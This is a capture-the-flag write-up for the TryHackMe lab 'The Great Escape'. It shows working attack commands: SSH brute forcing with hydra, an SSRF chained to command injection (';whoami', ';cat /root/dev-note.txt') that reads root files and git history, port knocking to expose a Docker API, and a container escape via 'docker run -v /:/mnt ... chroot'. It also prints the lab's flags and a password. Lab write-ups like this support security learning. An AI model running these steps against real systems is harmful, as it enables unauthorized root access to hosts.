Tryhackme - The Great Escape - Writeup

·

6 min read

Tryhackme - The Great Escape - Writeup

Task 1 - Introduction

Recon

  • IP : 10.10.0.75

  • nginx 1.19.6

  • using Next and Docker

  • Found 4 Javascript files running as script

  • Run Dirbuster and found http://10.10.0.75/flags.php

  • Run nmap to check for open ports

Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh?
| fingerprint-strings: 
|   GenericLines: 
|_    d&FYg1}9R-/~];wO|1moPpM?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    nginx 1.19.6
| http-robots.txt: 3 disallowed entries 
|_/api/ /exif-util /*.bak.txt$
|_http-server-header: nginx/1.19.6
|_http-title: docker-escape-nuxt 
|_http-trane-info: Problem with XML parsing of /evox/about

Running nmap wth tag -d to debug

Port 22 is open, running hydra with ssh

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.0.75

  • got a timeout error

Run Gobuster with common.txt

gobuster dir -u http://10.10.0.75/ -w /usr/share/wordlists/dirb/common.txt -t 50 --wildcard

Results:

===============================================================
2021/02/14 16:45:16 Starting gobuster
===============================================================
/_conf (Status: 200)
/.bash_history (Status: 200)
/.hta (Status: 200)
/_dev (Status: 200)
/.git/HEAD (Status: 200)
/.svn/entries (Status: 200)
/.mysql_history (Status: 200)
/.svn (Status: 200)
/.swf (Status: 200)
/_css (Status: 200)
/_config (Status: 200)
/api (Status: 301)
/.listings (Status: 200)
/.history (Status: 200)
/.perf (Status: 200)
/.forward (Status: 200)
/.htpasswd (Status: 200)
/.listing (Status: 200)
/AppsLocalLogin (Status: 200)
/contact-us (Status: 200)
/films (Status: 200)
/jsps (Status: 200)
/option (Status: 200)
/registrations (Status: 200)
/svr (Status: 200)
/wp-icludes (Status: 200)

Immune to SQL Injection

/api (Status: 301) > check the URL <ip>/api

http://10.10.244.29/exif-util/ has something we can work with. We can upload file from machine or from URL

Testing with an HTML file from machine returns 503 error

Set up a URL with a photo to make sure that tha request comes thru

1) Get any image > I got blue.png> cp to /thegreatescape/uploads folder 2) run python3 -m http.server > this will run an HTTP server with my IP 3) navigate to <my-ip>/blue.png > your picture should be there 4) Navigate to http://10.10.244.29/api/exif?url=http://10.6.31.49:8000/blue.png

- that first IP is the machine, the second one is mine

Returns the exif of my PNG! > That's good

exif

It seems like we can only upload photos files > html does not work > photo classroom

Found something

10.10.174.186/exif-util.bak.txt > there is a URL in there

http://10.10.174.186/api/exif?url=http://api-dev-backup:8080/

passing in a param

http://10.10.174.186/api/exif?url=http://api-dev-backup:8080/exif?url=--help

let's check whoami

http://10.10.174.186/api/exif?url=http://api-dev-backup:8080/exif?url=--help;whoami

I AM ROOT YES

scroll to the bottom to see the output

http://10.10.174.186/api/exif?url=http://api-dev-backup:8080/exif?url=--help;ls%20-la%20/root

has dev-note.txt

http://10.10.174.186/api/exif?url=http://api-dev-backup:8080/exif?url=;cat%20/root/dev-note.txt

FOUND A PASSWORD

Hey guys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

http://10.10.174.186/api/exif?url=http://api-dev-backup:8080/exif?url=;cat%20/etc/hosts RETURNS

127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::0    ip6-localnet
ff00::0    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
192.168.112.2    api-dev-backup
http://10.10.99.215/api/exif?url=http://api-dev-backup:8080/exif?url=;cat%20-v%20/root/.gitconfig

Returns

email = hydragyrum@example.com
    name = Hydra

checked git log

http://10.10.99.215/api/exif?url=http://api-dev-backup:8080/exif?url=;%20git%20-C%20/root%20log
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

do a git show on that commit

http://10.10.99.215/api/exif?url=http://api-dev-backup:8080/exif?url=;%20git%20-C%20/root%20show%20a3d30a7d0510dc6565ff9316e3fb84434916dee8



commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{0cb4b947043cb5c0486a454b75a10876}
\ No newline at end of file

found a root flag

the note says to knock on the ports in sequence to get the docker port open

./knock 10.10.99.215 42 1337 10420 6969 63000

run nmap at port 2375 again to check

nmap -v 10.10.99.215 -p 2375

Great Resource >> Attacking Docker exposed API

I'm following the steps on this website

PORT     STATE SERVICE
2375/tcp open  docker

curl http://10.10.99.215:2375/version

{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"20.10.2","Details":{"ApiVersion":"1.41","Arch":"amd64","BuildTime":"2020-12-28T16:15:09.000000000+00:00","Experimental":"false","GitCommit":"8891c58","GoVersion":"go1.13.15","KernelVersion":"4.15.0-130-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.4.3","Details":{"GitCommit":"269548fa27e0089a8b8278fc4fc781d7f65a939b"}},{"Name":"runc","Version":"1.0.0-rc92","Details":{"GitCommit":"ff819c7e9184c13b7c2607fe6c30ae19403a7aff"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"20.10.2","ApiVersion":"1.41","MinAPIVersion":"1.12","GitCommit":"8891c58","GoVersion":"go1.13.15","Os":"linux","Arch":"amd64","KernelVersion":"4.15.0-130-generic","BuildTime":"2020-12-28T16:15:09.000000000+00:00"}

Check out Docker

docker -H 10.10.99.215:2375 info
Client:
 Debug Mode: false

Server:
 Containers: 4
  Running: 4
  Paused: 0
  Stopped: 0
 Images: 27
 Server Version: 20.10.2
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Native Overlay Diff: true
 Logging Driver: json-file
 Cgroup Driver: cgroupfs
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 io.containerd.runtime.v1.linux runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 269548fa27e0089a8b8278fc4fc781d7f65a939b
 runc version: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
 init version: de40ad0
 Security Options:
  apparmor
  seccomp
   Profile: default
 Kernel Version: 4.15.0-130-generic
 Operating System: Ubuntu 18.04.5 LTS
 OSType: linux
 Architecture: x86_64
 CPUs: 1
 Total Memory: 983.2MiB
 Name: great-escape.thm
 ID: FDCS:BLAR:AJNY:PW6Y:DVAY:R5IQ:VNLF:WRQ5:FP6Y:2IB5:U37T:3W6L
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Registry: https://index.docker.io/v1/
 Labels:
 Experimental: false
 Insecure Registries:
  127.0.0.0/8
 Live Restore Enabled: false

WARNING: API is accessible on http://0.0.0.0:2375 without encryption.
         Access to the remote API is equivalent to root access on the host. Refer
         to the 'Docker daemon attack surface' section in the documentation for
         more information: https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface
WARNING: No swap limit support

docker -H 10.10.99.215:2375 ps


CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                  NAMES
49fe455a9681        frontend            "/docker-entrypoint.…"   5 weeks ago         Up About an hour    0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad        exif-api-dev        "./application -Dqua…"   5 weeks ago         Up About an hour                           dockerescapecompose_api-dev-backup_1
cb83912607b9        exif-api            "./application -Dqua…"   5 weeks ago         Up About an hour    8080/tcp               dockerescapecompose_api_1
548b701caa56        endlessh            "/endlessh -v"           5 weeks ago         Up About an hour    0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1

Got into

1) dockerescapecompose_api_1

  • Whoami > quarkus 2) dockerescapecompose_frontend_1
  • Per the hint in first flag, there is a .well-known in front end root@docker-escape:/usr/share/nginx/html/.well-known# cat security.txt
Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/fl46 with a HEAD request for a nifty treat.
root@docker-escape:/usr/share/nginx/html/.well-known#

root@kali-virtualbox:~# curl --head http://10.10.99.215/api/fl46

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Feb 2021 02:50:20 GMT
Connection: keep-alive
flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}

3)dockerescapecompose_api-dev-backup_1 > dev_note_txt is the same as waht we we see

Last task

run this command to get Hydra as root

docker -H 10.10.99.215:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh

ok im in as Hydra

# ls -la /root
total 24
drwx------  3 root root 4096 Jan  6 23:37 .
drwxr-xr-x 22 root root 4096 Jan  9 22:11 ..
lrwxrwxrwx  1 root root    9 Jan  6 18:22 .bash_history -> /dev/null
-rw-r-----  1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4096 Jan  6 23:35 .local
-rw-r-----  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   74 Jan  6 23:37 flag.txt
# cat flag.txt    
cat: flag.txt: No such file or directory
# cd /root
# pwd
/root
# cat flag.txt    
Congrats, you found the real flag!
THM{c62517c0cad93ac93a92b1315a32d734}